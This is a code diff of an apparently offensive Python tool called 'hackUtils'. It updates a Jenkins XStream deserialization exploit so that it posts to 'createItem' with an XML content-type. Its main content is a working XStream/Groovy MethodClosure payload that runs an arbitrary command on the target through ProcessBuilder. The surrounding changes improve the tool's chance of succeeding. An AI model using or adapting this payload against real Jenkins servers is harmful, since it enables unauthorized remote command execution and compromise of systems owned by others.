@@ -640,7 +640,8 @@ def checkXStreamJenkins(ip, cmdstr):
640
640
job = getJobFromJenkins (result )
641
641
ver = getJenkinsVersion (result )
642
642
if job :
643
- job_url = url + job + "config.xml"
643
+ #job_url = url + job + "config.xml"
644
+ job_url = url + "createItem?name=hackUtils"
644
645
exploitXStreamJenkins (job_url , cmdstr , ver )
645
646
else :
646
647
print '[!] no job found! url: ' + url
@@ -660,7 +661,8 @@ def exploitXStreamJenkins(job_url, cmdstr, ver):
660
661
payload = "<map><entry><groovy.util.Expando><expandoProperties><entry><string>hashCode</string><org.codehaus.groovy.runtime.MethodClosure><delegate class=\" groovy.util.Expando\" reference=\" ../../../..\" /><owner class=\" java.lang.ProcessBuilder\" ><command>" + command + "</command><redirectErrorStream>false</redirectErrorStream></owner><resolveStrategy>0</resolveStrategy><directive>0</directive><parameterTypes/><maximumNumberOfParameters>0</maximumNumberOfParameters><method>start</method></org.codehaus.groovy.runtime.MethodClosure></entry></expandoProperties></groovy.util.Expando><int>1</int></entry></map>"
661
662
662
663
try :
663
- res = requests .post (job_url ,timeout = 10 ,data = payload )
664
+ headers = {'content-type' : 'application/xml' }
665
+ res = requests .post (job_url ,timeout = 10 ,data = payload ,headers = headers )
664
666
if res .status_code == 500 :
665
667
html = res .content
666
668
if html :
@@ -734,7 +736,7 @@ def getJenkinsVersion(html):
734
736
735
737
def myhelp ():
736
738
print "\n +-----------------------------+"
737
- print "| hackUtils v0.0.7 |"
739
+ print "| hackUtils v0.0.8 |"
738
740
print "| Avfisher - avfisher.win |"
739
741
740
742
print "+-----------------------------+\n "
0 commit comments